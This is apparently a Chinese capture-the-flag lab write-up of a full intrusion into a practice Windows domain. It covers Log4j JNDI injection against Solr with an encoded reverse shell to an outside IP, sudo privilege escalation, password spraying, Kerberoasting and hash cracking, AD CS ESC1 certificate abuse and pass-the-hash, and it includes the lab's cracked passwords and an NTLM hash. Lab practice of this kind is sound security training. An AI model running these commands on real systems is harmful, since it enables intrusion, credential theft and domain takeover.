Certify


这个框架存在log4j漏洞,打jndi弹shell,【vulhub】Log4j2:CVE-2021-44228漏洞复现_vulhub cve-2021-44228-CSDN博客
1
| java -jar JNDIExploit-2.0-SNAPSHOT.jar -i ip
|
然后请求
1
| /solr/collections?action=${jndi:ldap://ip:1389/Basic/ReverseShell/ip/2333}
|
这里不知道为啥弹不到shell,换低版本的试试,还是不行
1
| java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zNi4yMTIuMTUwLjE5OC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" -A 36.212.150.198
|
最后换这个用启动时给的恶意类打通了
1
| /solr/admin/cores?action=${jndi:ldap://36.212.150.198:1389/hdymgf}
|
sudo -l查看信息
1
2
3
4
5
6
7
8
| solr@ubuntu:/opt/solr/server$ sudo -l
sudo -l
Matching Defaults entries for solr on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User solr may run the following commands on ubuntu:
(root) NOPASSWD: /usr/bin/grc
|
grc查看一下提权命令
1
2
| sudo grc --pty /bin/sh
python3 -c 'import pty;pty.spawn("/bin/bash")' #交互shell
|
然后root目录下拿flag1

然后就是古法扫内网了

1
2
3
4
| 172.22.9.26 winServer 2016
172.22.9.7 DC域控
172.22.9.47 fileserver
172.22.9.19 本机
|
然后内网穿透完,探测一下这个fileserver
列出共享资源
1
| proxychains smbclient -L //172.22.9.47
|

看一下这个fileshare
1
| proxychains smbclient -L //172.22.9.47/fileshare
|


这边提示SPN,把这个db也拿下来看看


navicat导出有引号,我们脚本去除
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| import sys
# 检查是否提供了文件名参数
if len(sys.argv) != 2:
print("Usage: python eraser.py <filename>")
sys.exit(1)
# 获取命令行参数中的文件名
filename = sys.argv[1]
# 读取文件内容
with open(filename, 'r', encoding='utf-8') as file:
content = file.read()
# 删除所有双引号
content = content.replace('"', '')
# 将处理后的内容写回原文件
with open(filename, 'w', encoding='utf-8') as file:
file.write(content)
print(f"所有双引号已删除,并将结果保存回 {filename}")
|
现在就有用户名和密码了,可以用来爆破
1
| proxychains4 crackmapexec smb 172.22.9.26 -u user.txt -p passwd.txt --continue-on-success
|
得到
1
2
| xiaorang.lab\zhangjian:i9XDE02pLVf
xiaorang.lab\liupeng:fiAzGwEMgTY
|
尝试rdp连接都失败了,前面提示打SPN了
1
2
| proxychains4 impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf
proxychains4 impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/liupeng:fiAzGwEMgTY
|

得到zhangxia和chenchen两个人的SPN票据
利用hashcat进行破解
1
| hashcat -a 0 -m 13100 zhangxia.txt /usr/share/wordlists/rockyou.txt
|
得到两个用户的密码
1
2
| zhangxia/MyPass2@@6
chenchen/@Passw0rd@
|
rdp连接,啥也没有,而且还都是低权限,按照网上流程正常来说都是先利用 Certify 来查找AD CS模板相关的漏洞
1
| .\Certify.exe find /vulnerable
|
可以找到一个易受攻击的证书模板 XR Manager,使用该模板为 XIAORANG\Administrator 注册证书
1
| .\Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator
|
可以得到一个pem格式的证书,转成pfx格式
1
| openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
|
然后用到Rubeus使用 cert.pfx 作为 administrator 身份凭证申请TGT
1
| \Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:abc@123 /ptt
|
导出然后拿mimikatz拿hash
然后kali有个certipy-ad工具可以识别证书漏洞
1
| proxychains4 certipy-ad find -u 'zhangxia@xiaorang.lab' -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout
|

发现ESC1漏洞,这里改一下/etc/hosts防止后续利用超时
1
| 172.22.9.7 xiaorang.lab
|
然后就是利用ESC1拿administrator的证书
1
| proxychains4 certipy-ad req -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn 'administrator@xiaorang.lab'
|
然后拿生成的pfx得到administrator的hash
1
| proxychains4 certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.9.7
|

拿下后续两个flag
1
| proxychains4 impacket-smbexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.26 -codec gbk
|

1
| proxychains4 impacket-smbexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7
|
